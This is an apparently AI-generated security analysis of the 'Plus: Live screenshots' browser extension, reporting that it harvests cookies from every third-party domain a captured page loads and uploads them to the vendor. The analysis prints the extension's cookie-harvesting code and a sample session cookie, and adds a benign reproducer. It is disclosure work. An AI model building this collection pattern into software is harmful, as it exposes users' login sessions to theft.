Is Plus: Live screenshots of any app or website safe?
Plus collects cookies from every third-party domain a captured page's resources come from, then uploads them with each snapshot.
When a user takes a screenshot ('Take a Snapshot') of a page, Plus reads the list of every third-party domain that page loaded resources from (via the browser's performance API) and calls chrome.cookies.getAll on each one, collecting cookie name, value, domain, and expiry data that page scripts on those third-party sites could not read themselves. This cookie data is bundled into the snapshot's session payload, encrypted on the device, and uploaded to the vendor's backend (an AWS API Gateway/S3 endpoint) alongside the captured page's URL. The extension also injects its extension ID and version into every page's main-world window object, letting any website detect that this extension is installed.
Who publishes itPlus Docs Inc - no other listings under this identity, 2 shared hostnames
Plus Docs Inc - no other listings under this identity, 2 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Snapshot Feature Pulls Cookies From Every Third-Party Domain a Page Loads
Code analysis shows the Take a Snapshot feature requests cookies not only from the page you capture, but from every third-party domain that page loaded a script, font, or widget from, then uploads them, encrypted, with the snapshot.
You take a snapshot of a page that loads at least one third-party resource, such as a chat widget, font, or analytics script.
The extension collects cookies not just for that page, but for every one of those third-party domains too, and bundles them into the snapshot it uploads.
The set of domains queried is whatever performance.getEntriesByType('resource') happens to list, not a domain you chose or reviewed.
The three functions that turn one page capture into cookie reads across many domains
const buildSessionPayload = async (storageToCapture) => {
const indexedDatabases = shouldCaptureIndexedDb(storageToCapture) ? await readIndexedDb() : null;
// Every subresource this page loaded: scripts, fonts, images, XHR/fetch, iframes...
const resourceDomains = performance.getEntriesByType('resource').map((entry) => entry.name);
return {
sessionPayload: {
session: {
// Ask the background service worker for cookies from the page URL
// AND every one of those resource domains, not just the page itself.
cookies: await new Promise((resolve) => {
chrome.runtime.sendMessage(
buildMessage(MessagesFromRecordingTab.GetCookies, {
domains: resourceDomains,
url: window.location.href,
}),
(response) => resolve(response),
);
}),
indexedDatabases,
localStorage: readLocalStorage(storageToCapture, localStorage),
sessionStorage: readSessionStorage(storageToCapture, sessionStorage),
userAgent: navigator.userAgent,
},
v: '1',
},
v: '3',
};
};if (messageType === MessagesFromRecordingTab.GetCookies) {
const { url: pageUrl, domains: resourceDomains } = message.data;
return getCookiesForDomains([StorageStrategy.COOKIES], pageUrl, resourceDomains)
.then((cookies) => sendResponse(cookies))
.catch((err) => { throw err; }),
true; // keep the message channel open for the async sendResponse
}// Every parent-domain suffix of a hostname:
// "widget.intercom.io" -> ["widget.intercom.io", "intercom.io", "io"]
function parentDomainSuffixes(url) {
if (!url || !/^https?:\/\//i.test(url)) return [];
const { hostname } = new URL(url);
const parts = hostname.split('.');
return parts.slice(0, parts.length - 1).map((_, i) => parts.slice(i, parts.length).join('.'));
}
async function getCookiesForDomains(storageTypes, pageUrl, resourceDomains) {
if (!storageTypes.includes(StorageStrategy.COOKIES)) return [];
const cookies = [];
// Union of every suffix of the page URL AND every resource domain
const domainsToQuery = new Set([pageUrl, ...resourceDomains].map(parentDomainSuffixes).flat());
for (const domain of domainsToQuery) {
const found = await chrome.cookies.getAll({ domain });
cookies.push(...found);
}
return cookies;
}| Field | Value | Why it matters | |
|---|---|---|---|
Cookie name | SID | The cookie's identifier, e.g. a login session token or an ad-tracking ID. | |
Cookie value | g.a000rwB3x9k2QzMLp7VvY6TqW1n8sD4fH2jK5mN0 | The actual token; some services accept it to restore a logged-in session if replayed elsewhere. | |
Cookie domain | accounts.google.com | Which site set the cookie; can be a third party embedded on the page rather than the page itself. | |
HttpOnly | true | When true, a page's own JavaScript normally cannot read this cookie; chrome.cookies.getAll bypasses that. | |
Expiry | 2027-03-14T00:00:00Z | How long the cookie, and any session it represents, stays valid after collection. |
- sfd8q2ch3k.execute-api.us-east-2.amazonaws.com
Vendor's GraphQL API (createSnapshot/updateSnapshot); returns a presigned S3 URL the browser PUTs the encrypted snapshot, including the bulk-collected cookies, to.
Runs the same domain-suffix expansion the background script performs, so you can see how many unrelated domains would have their cookies pulled for one page capture.
// Reproduces the domain-expansion logic in chunks/domainStrategies-42e5b698.js.
// Feed it a page URL plus the resource URLs performance.getEntriesByType('resource')
// would report for that page, and it prints every domain chrome.cookies.getAll
// would be called with during a "Take a Snapshot" capture.
function parentDomainSuffixes(url) {
if (!url || !/^https?:\/\//i.test(url)) return [];
const { hostname } = new URL(url);
const parts = hostname.split('.');
return parts.slice(0, parts.length - 1).map((_, i) => parts.slice(i, parts.length).join('.'));
}
function domainsQueriedForCookies(pageUrl, resourceUrls) {
const all = [pageUrl, ...resourceUrls].map(parentDomainSuffixes).flat();
return [...new Set(all)];
}
// Illustrative example: a SaaS dashboard that embeds Intercom chat and Google Fonts.
const pageUrl = 'https://app.example-saas.com/dashboard';
const resourceUrls = [
'https://app.example-saas.com/static/app.js',
'https://widget.intercom.io/widget/abc123',
'https://fonts.googleapis.com/css?family=Inter',
'https://www.google-analytics.com/analytics.js',
];
const domains = domainsQueriedForCookies(pageUrl, resourceUrls);
console.log(`chrome.cookies.getAll would be called for ${domains.length} domains:`);
domains.forEach((d) => console.log(' -', d));
- 1node plus-cookie-scope-reproducer.js
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 4.9.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
Read and change cookies, including the ones that keep you signed in
cookies
Change your browser's font settings
fontSettings
Store data in your browser
storage
Watch every request your browser makes
webRequest
Where it sends data
Destinations our analysis observed Plus: Live screenshots of any app or website contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- sfd8q2ch3k.execute-api.us-east-2.amazonaws.com
Plus: Live screenshots of any app or website sends data to sfd8q2ch3k.execute-api.us-east-2.amazonaws.com. No other extension we have analysed sends data here.